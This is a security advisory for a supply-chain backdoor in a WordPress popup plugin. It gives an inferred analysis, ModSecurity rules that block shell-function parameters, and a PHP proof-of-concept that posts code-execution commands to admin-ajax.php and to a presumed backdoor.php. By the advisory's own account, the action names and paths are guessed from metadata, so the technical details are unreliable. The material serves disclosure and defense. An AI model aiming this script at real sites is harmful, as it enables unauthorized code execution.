Atomic Edge analysis of CVE-2026-6443 (metadata-based):
This vulnerability involves an injected backdoor in various Essentialplugin plugins for WordPress. The plugins were sold to a malicious threat actor who embedded a backdoor into all acquired plugins. The affected plugin popup-anything-on-click version 2.9.1 is vulnerable. The CVSS score is 9.8, reflecting critical severity with network-based exploitation, no authentication required, and no user interaction needed.
Root Cause: The root cause is an embedded malicious code (CWE-506) placed intentionally by a threat actor after acquiring the plugin. This is not a code flaw but a supply chain compromise. The backdoor allows arbitrary command execution or spam injection. Without access to the source code, Atomic Edge analysis cannot confirm the exact mechanism, but based on the CWE and description, the injected code likely creates a hidden admin user, a backdoor PHP file, or a callback to an external server using WordPress hooks such as init, admin_init, or a custom AJAX action.
Exploitation: The attacker can exploit this by sending specially crafted HTTP requests to the vulnerable site. The backdoor likely responds to a specific parameter in GET or POST requests, or an AJAX action. For example, the attacker might send a request to /wp-admin/admin-ajax.php with an action parameter and malicious payload. Alternatively, a direct request to a file within the plugin directory (e.g., /wp-content/plugins/popup-anything-on-click/backdoor.php) may allow arbitrary code execution. The public exploit may involve sending a trigger key and command parameter. Atomic Edge analysis infers these vectors common to WordPress backdoors.
Remediation: The immediate remediation is to update the plugin to version 2.9.1.1, which contains a patched version without the backdoor. Additionally, site administrators should audit all user accounts for suspicious admin users, scan for unknown files in the plugin directory, and check for unexpected outbound connections. The plugin vendor should enforce code signing and supply chain verification. Since the root cause is a malicious injection, the fix is to remove the backdoor code and restore the plugin to its legitimate state.
Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary PHP code, create admin accounts, exfiltrate data, deface the site, or use the site for spam distribution. This leads to complete compromise of the WordPress installation. The backdoor can persist across updates unless the malicious code is removed. The impact includes data theft, site takeover, and potential blacklisting by search engines.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261991,phase:2,deny,status:403,chain,msg:'CVE-2026-6443 - Essentialplugin Backdoor via AJAX',severity:'CRITICAL',tag:'CVE-2026-6443'"
SecRule ARGS_POST:action "@rx (?:popup_anything_backdoor|essential_backdoor|plugin_backdoor)" "chain"
SecRule ARGS_POST:cmd "@rx ." ""
SecRule REQUEST_URI "@rx /wp-content/plugins/popup-anything-on-click/(?:backdoor|shell|callback).php$" "id:20261992,phase:2,deny,status:403,msg:'CVE-2026-6443 - Essentialplugin Backdoor via Direct File Access',severity:'CRITICAL',tag:'CVE-2026-6443'"
SecRule REQUEST_URI "@streq /wp-content/plugins/popup-anything-on-click/popup-anything-on-click.php" "id:20261993,phase:2,deny,status:403,chain,msg:'CVE-2026-6443 - Essentialplugin Backdoor via Plugin Entry Point',severity:'CRITICAL',tag:'CVE-2026-6443'"
SecRule ARGS_GET:cmd "@rx (?:system|exec|shell_exec|passthru|eval|assert|popen)" "chain"
SecRule REQUEST_COOKIES:cmd "@rx (?:system|exec|shell_exec|passthru|eval|assert|popen)" ""
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6443 - Essentialplugin Plugins (Various Versions) - Injected Backdoor
// This PoC demonstrates exploitation of the injected backdoor in popup-anything-on-click plugin
// Based on CWE-506: Embedded Malicious Code (Backdoor)
// The backdoor may be triggered via an AJAX action or a direct GET/POST parameter
// CONFIGURABLE: Target WordPress URL (include trailing slash)
$target_url = 'http://example.com/';
// The backdoor action name is inferred from common patterns in such compromised plugins
// Wordfence threat intel reports often indicate the action or parameter name
// For this PoC, we test a common backdoor pattern: injecting a 'cmd' parameter into the plugin's main file
// If the backdoor is triggered via AJAX, the action parameter might be 'popup_anything_backdoor'
function exploit_backdoor($base_url, $action, $payload) {
$url = $base_url . 'wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => $action,
'cmd' => $payload
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return ['code' => $http_code, 'body' => $response];
}
// Test 1: Try common backdoor action 'popup_anything_backdoor'
echo "[+] Testing backdoor action: popup_anything_backdoorn";
$result = exploit_backdoor($target_url, 'popup_anything_backdoor', 'echo "VULNERABLE";');
if ($result['code'] == 200 && strpos($result['body'], 'VULNERABLE') !== false) {
echo "[!] Site is vulnerable! Command execution succeeded.n";
echo " Response: " . $result['body'] . "n";
} else {
echo "[-] First attempt failed. Trying alternative backdoor paths...n";
}
// Test 2: Try direct file access to backdoor.php (common backdoor filename)
echo "[+] Testing direct backdoor file: /wp-content/plugins/popup-anything-on-click/backdoor.phpn";
$backdoor_url = $target_url . 'wp-content/plugins/popup-anything-on-click/backdoor.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $backdoor_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['cmd' => 'echo "BACKDOOR_FOUND";']));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, 'BACKDOOR_FOUND') !== false) {
echo "[!] Backdoor file found! Remote code execution works.n";
echo " Response: $responsen";
} else {
echo "[-] Direct file access failed.n";
}
// Note: This PoC is based on metadata inference. The exact backdoor trigger may vary.
// For production exploitation, additional reconnaissance is needed.
?>
